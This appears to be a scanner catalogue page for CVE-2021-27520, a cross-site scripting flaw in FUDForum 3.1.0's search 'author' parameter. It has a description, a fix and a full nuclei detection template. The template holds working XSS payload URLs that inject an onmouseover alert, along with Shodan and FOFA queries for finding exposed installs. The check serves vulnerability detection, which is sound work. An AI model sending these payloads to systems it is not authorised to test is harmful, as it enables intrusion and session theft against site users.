FUDForum 3.1.0 - Cross-Site Scripting

mediumseverity

6.1CVSS score

6.4%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

FUDForum 3.1.0 contains a cross-site scripting vulnerability. An attacker can inject JavaScript via index.php in the author parameter, thereby possibly stealing cookie-based authentication credentials and launching other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.

Fix

Upgrade to the latest version of FUDForum or apply the provided patch to fix the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?SQ=0&t=search&srch={{randstr}}&btn_submit=Search&field=all&forum_limiter=&attach=0&search_logic=AND&sort_order=REL&author=x"+on… ; GET {{BaseURL}}/forum/index.php?SQ=0&t=search&srch={{randstr}}&btn_submit=Search&field=all&forum_limiter=&attach=0&search_logic=AND&sort_order=REL&author…
Positive when: contains "onmouseover=alert(document.domain) x=" and "FUDforum" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-27520 -u <target>

The full check

id: CVE-2021-27520

info:
  name: FUDForum 3.1.0 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    FUDForum 3.1.0 contains a cross-site scripting vulnerability. An attacker can inject JavaScript via index.php in the author parameter, thereby possibly stealing cookie-based authentication credentials and launching other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to the latest version of FUDForum or apply the provided patch to fix the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/49943
    - https://github.com/fudforum/FUDforum/issues/2
    - http://packetstormsecurity.com/files/162942/FUDForum-3.1.0-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27520
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-27520
    cwe-id: CWE-79
    epss-score: 0.06396
    epss-percentile: 0.93726
    cpe: cpe:2.3:a:fudforum:fudforum:3.1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: fudforum
    product: fudforum
    shodan-query:
      - html:"FUDforum"
      - http.html:"fudforum"
      - 'http.html:"powered by: fudforum"'
    fofa-query:
      - 'body="powered by: fudforum"'
      - body="fudforum"
  tags: cve2021,cve,packetstorm,xss,fuddorum,edb,intrusive,fudforum,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?SQ=0&t=search&srch={{randstr}}&btn_submit=Search&field=all&forum_limiter=&attach=0&search_logic=AND&sort_order=REL&author=x"+onmouseover%3Dalert%28document.domain%29+x%3D'
      - '{{BaseURL}}/forum/index.php?SQ=0&t=search&srch={{randstr}}&btn_submit=Search&field=all&forum_limiter=&attach=0&search_logic=AND&sort_order=REL&author=x"+onmouseover%3Dalert%28document.domain%29+x%3D%22'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - onmouseover=alert(document.domain) x=
          - FUDforum
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from